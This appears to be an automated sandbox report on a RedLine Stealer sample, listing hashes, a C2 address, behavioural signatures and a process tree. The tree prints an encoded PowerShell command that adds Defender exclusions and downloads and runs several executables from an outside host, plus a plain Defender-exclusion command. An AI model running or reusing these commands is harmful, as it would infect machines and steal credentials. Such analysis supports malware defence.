Analysis
- max time kernel
41s - max time network
81s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system - submitted
27/01/2023, 13:06
Static task
static1
Behavioral task
behavioral1
Sample
c565f71f426a913c738310198a01654ed930dd09.exe
Resource
win7-20220812-en
20 signatures
150 seconds
Behavioral task
behavioral2
Sample
c565f71f426a913c738310198a01654ed930dd09.exe
Resource
win10v2004-20221111-en
20 signatures
150 seconds
General
- Target c565f71f426a913c738310198a01654ed930dd09.exe
- Size 361KB
- Sample230127-qb3afsbb66
- SHA256 b4968767ee9f8c1ae309d7f8a8f4c9cff847a81d46d021608add9de06a4ba965
- MD5 0d356ea4776618c8018b385e50720061
- SHA1 c565f71f426a913c738310198a01654ed930dd09
- SHA512 68a17800b2f2fefb5e5f28c2d1639989361f158c53dcc5e7c6ca49b61e7eabc1343b0e91ca8bdba1febfac33cc92ad84a6daf94acae9abf8470a722a91db7268
- SSDEEP 6144:/iN9Ozs7npw4ngtJ5kJ+w4UhclWqDzEgvDv8LGB3JBVvidaGExXAO+DzyM7+Hc:/iqzs7nNg35kJ+wJhcgqDzLbvBBxvxXw
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
-
redline
Botnet
-
1
C2
-
107.182.129.73:21733
Attributes
-
auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
- Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe - RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/4508-174-0x0000000000400000-0x0000000000420000-memory.dmp family_redline - Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1892 created 1108 1892 SmartDefRun.exe 44 PID 1892 created 1108 1892 SmartDefRun.exe 44 PID 1892 created 1108 1892 SmartDefRun.exe 44 PID 1892 created 1108 1892 SmartDefRun.exe 44 PID 4736 created 616 4736 powershell.EXE 3 - Blocklisted process makes network request 1 IoCs
flow pid Process 4 1148 powershell.exe - Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe - Executes dropped EXE 4 IoCs
pid Process 4628 C4Loader.exe 2040 new2.exe 940 SysApp.exe 1892 SmartDefRun.exe - Stops running service(s) 3 TTPs
- Uses the VBS compiler for execution 1 TTPs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE - Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4736 set thread context of 400 4736 c565f71f426a913c738310198a01654ed930dd09.exe 84 PID 2040 set thread context of 4508 2040 new2.exe 94 PID 1892 set thread context of 2192 1892 SmartDefRun.exe 116 PID 4736 set thread context of 1812 4736 powershell.EXE 121 - Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe - Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3864 sc.exe 624 sc.exe 2584 sc.exe 3984 sc.exe 3728 sc.exe - Program crash 2 IoCs
pid pid_target Process procid_target 1012 4736 WerFault.exe 80 4068 2040 WerFault.exe 90 - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE - Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 1148 powershell.exe 1148 powershell.exe 940 SysApp.exe 940 SysApp.exe 940 SysApp.exe 940 SysApp.exe 940 SysApp.exe 940 SysApp.exe 940 SysApp.exe 940 SysApp.exe 940 SysApp.exe 940 SysApp.exe 4508 vbc.exe 1892 SmartDefRun.exe 1892 SmartDefRun.exe 3248 powershell.exe 3248 powershell.exe 1892 SmartDefRun.exe 1892 SmartDefRun.exe 1892 SmartDefRun.exe 1892 SmartDefRun.exe 3184 powershell.exe 3184 powershell.exe 1892 SmartDefRun.exe 1892 SmartDefRun.exe 1656 powershell.EXE 4736 powershell.EXE 4736 powershell.EXE 1656 powershell.EXE 4736 powershell.EXE 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe 1812 dllhost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1148 powershell.exe Token: SeDebugPrivilege 4508 vbc.exe Token: SeDebugPrivilege 3248 powershell.exe Token: SeDebugPrivilege 3184 powershell.exe Token: SeIncreaseQuotaPrivilege 3184 powershell.exe Token: SeSecurityPrivilege 3184 powershell.exe Token: SeTakeOwnershipPrivilege 3184 powershell.exe Token: SeLoadDriverPrivilege 3184 powershell.exe Token: SeSystemProfilePrivilege 3184 powershell.exe Token: SeSystemtimePrivilege 3184 powershell.exe Token: SeProfSingleProcessPrivilege 3184 powershell.exe Token: SeIncBasePriorityPrivilege 3184 powershell.exe Token: SeCreatePagefilePrivilege 3184 powershell.exe Token: SeBackupPrivilege 3184 powershell.exe Token: SeRestorePrivilege 3184 powershell.exe Token: SeShutdownPrivilege 3184 powershell.exe Token: SeDebugPrivilege 3184 powershell.exe Token: SeSystemEnvironmentPrivilege 3184 powershell.exe Token: SeRemoteShutdownPrivilege 3184 powershell.exe Token: SeUndockPrivilege 3184 powershell.exe Token: SeManageVolumePrivilege 3184 powershell.exe Token: 33 3184 powershell.exe Token: 34 3184 powershell.exe Token: 35 3184 powershell.exe Token: 36 3184 powershell.exe Token: SeIncreaseQuotaPrivilege 3184 powershell.exe Token: SeSecurityPrivilege 3184 powershell.exe Token: SeTakeOwnershipPrivilege 3184 powershell.exe Token: SeLoadDriverPrivilege 3184 powershell.exe Token: SeSystemProfilePrivilege 3184 powershell.exe Token: SeSystemtimePrivilege 3184 powershell.exe Token: SeProfSingleProcessPrivilege 3184 powershell.exe Token: SeIncBasePriorityPrivilege 3184 powershell.exe Token: SeCreatePagefilePrivilege 3184 powershell.exe Token: SeBackupPrivilege 3184 powershell.exe Token: SeRestorePrivilege 3184 powershell.exe Token: SeShutdownPrivilege 3184 powershell.exe Token: SeDebugPrivilege 3184 powershell.exe Token: SeSystemEnvironmentPrivilege 3184 powershell.exe Token: SeRemoteShutdownPrivilege 3184 powershell.exe Token: SeUndockPrivilege 3184 powershell.exe Token: SeManageVolumePrivilege 3184 powershell.exe Token: 33 3184 powershell.exe Token: 34 3184 powershell.exe Token: 35 3184 powershell.exe Token: 36 3184 powershell.exe Token: SeIncreaseQuotaPrivilege 3184 powershell.exe Token: SeSecurityPrivilege 3184 powershell.exe Token: SeTakeOwnershipPrivilege 3184 powershell.exe Token: SeLoadDriverPrivilege 3184 powershell.exe Token: SeSystemProfilePrivilege 3184 powershell.exe Token: SeSystemtimePrivilege 3184 powershell.exe Token: SeProfSingleProcessPrivilege 3184 powershell.exe Token: SeIncBasePriorityPrivilege 3184 powershell.exe Token: SeCreatePagefilePrivilege 3184 powershell.exe Token: SeBackupPrivilege 3184 powershell.exe Token: SeRestorePrivilege 3184 powershell.exe Token: SeShutdownPrivilege 3184 powershell.exe Token: SeDebugPrivilege 3184 powershell.exe Token: SeSystemEnvironmentPrivilege 3184 powershell.exe Token: SeRemoteShutdownPrivilege 3184 powershell.exe Token: SeUndockPrivilege 3184 powershell.exe Token: SeManageVolumePrivilege 3184 powershell.exe Token: 33 3184 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4736 wrote to memory of 2184 4736 c565f71f426a913c738310198a01654ed930dd09.exe 82 PID 4736 wrote to memory of 2184 4736 c565f71f426a913c738310198a01654ed930dd09.exe 82 PID 4736 wrote to memory of 2184 4736 c565f71f426a913c738310198a01654ed930dd09.exe 82 PID 4736 wrote to memory of 3204 4736 c565f71f426a913c738310198a01654ed930dd09.exe 83 PID 4736 wrote to memory of 3204 4736 c565f71f426a913c738310198a01654ed930dd09.exe 83 PID 4736 wrote to memory of 3204 4736 c565f71f426a913c738310198a01654ed930dd09.exe 83 PID 4736 wrote to memory of 400 4736 c565f71f426a913c738310198a01654ed930dd09.exe 84 PID 4736 wrote to memory of 400 4736 c565f71f426a913c738310198a01654ed930dd09.exe 84 PID 4736 wrote to memory of 400 4736 c565f71f426a913c738310198a01654ed930dd09.exe 84 PID 4736 wrote to memory of 400 4736 c565f71f426a913c738310198a01654ed930dd09.exe 84 PID 4736 wrote to memory of 400 4736 c565f71f426a913c738310198a01654ed930dd09.exe 84 PID 400 wrote to memory of 1148 400 vbc.exe 87 PID 400 wrote to memory of 1148 400 vbc.exe 87 PID 400 wrote to memory of 1148 400 vbc.exe 87 PID 1148 wrote to memory of 4628 1148 powershell.exe 89 PID 1148 wrote to memory of 4628 1148 powershell.exe 89 PID 1148 wrote to memory of 4628 1148 powershell.exe 89 PID 1148 wrote to memory of 2040 1148 powershell.exe 90 PID 1148 wrote to memory of 2040 1148 powershell.exe 90 PID 1148 wrote to memory of 2040 1148 powershell.exe 90 PID 1148 wrote to memory of 940 1148 powershell.exe 92 PID 1148 wrote to memory of 940 1148 powershell.exe 92 PID 1148 wrote to memory of 940 1148 powershell.exe 92 PID 2040 wrote to memory of 4508 2040 new2.exe 94 PID 2040 wrote to memory of 4508 2040 new2.exe 94 PID 2040 wrote to memory of 4508 2040 new2.exe 94 PID 1148 wrote to memory of 1892 1148 powershell.exe 93 PID 1148 wrote to memory of 1892 1148 powershell.exe 93 PID 2040 wrote to memory of 4508 2040 new2.exe 94 PID 2040 wrote to memory of 4508 2040 new2.exe 94 PID 4980 wrote to memory of 3864 4980 cmd.exe 105 PID 4980 wrote to memory of 3864 4980 cmd.exe 105 PID 4980 wrote to memory of 624 4980 cmd.exe 106 PID 4980 wrote to memory of 624 4980 cmd.exe 106 PID 4980 wrote to memory of 2584 4980 cmd.exe 107 PID 4980 wrote to memory of 2584 4980 cmd.exe 107 PID 4980 wrote to memory of 3984 4980 cmd.exe 108 PID 4980 wrote to memory of 3984 4980 cmd.exe 108 PID 4980 wrote to memory of 3728 4980 cmd.exe 109 PID 4980 wrote to memory of 3728 4980 cmd.exe 109 PID 4980 wrote to memory of 3972 4980 cmd.exe 110 PID 4980 wrote to memory of 3972 4980 cmd.exe 110 PID 4980 wrote to memory of 4012 4980 cmd.exe 111 PID 4980 wrote to memory of 4012 4980 cmd.exe 111 PID 4980 wrote to memory of 4640 4980 cmd.exe 112 PID 4980 wrote to memory of 4640 4980 cmd.exe 112 PID 4980 wrote to memory of 2184 4980 cmd.exe 113 PID 4980 wrote to memory of 2184 4980 cmd.exe 113 PID 4980 wrote to memory of 1928 4980 cmd.exe 114 PID 4980 wrote to memory of 1928 4980 cmd.exe 114 PID 1892 wrote to memory of 2192 1892 SmartDefRun.exe 116 PID 4736 wrote to memory of 1812 4736 powershell.EXE 121 PID 4736 wrote to memory of 1812 4736 powershell.EXE 121 PID 4736 wrote to memory of 1812 4736 powershell.EXE 121 PID 4736 wrote to memory of 1812 4736 powershell.EXE 121 PID 4736 wrote to memory of 1812 4736 powershell.EXE 121 PID 4736 wrote to memory of 1812 4736 powershell.EXE 121 PID 4736 wrote to memory of 1812 4736 powershell.EXE 121 PID 4736 wrote to memory of 1812 4736 powershell.EXE 121 PID 4736 wrote to memory of 1812 4736 powershell.EXE 121 PID 1812 wrote to memory of 616 1812 dllhost.exe 3 PID 1812 wrote to memory of 680 1812 dllhost.exe 1 PID 1812 wrote to memory of 956 1812 dllhost.exe 77 PID 1812 wrote to memory of 64 1812 dllhost.exe 76
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:680
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:64
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{6e01cce7-d11f-4464-bd3f-5419d6c8a202}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1812
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1092
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1308
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1476
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1964
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1108
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C:\Users\Admin\AppData\Local\Temp\c565f71f426a913c738310198a01654ed930dd09.exe"C:\Users\Admin\AppData\Local\Temp\c565f71f426a913c738310198a01654ed930dd09.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4736 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:2184
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:3204
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:400 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1148 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:4628
-
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4508
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2040 -s 1366⤵
- Program crash
PID:4068
-
-
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:940
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1892
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-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4736 -s 2923⤵
- Program crash
PID:1012
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
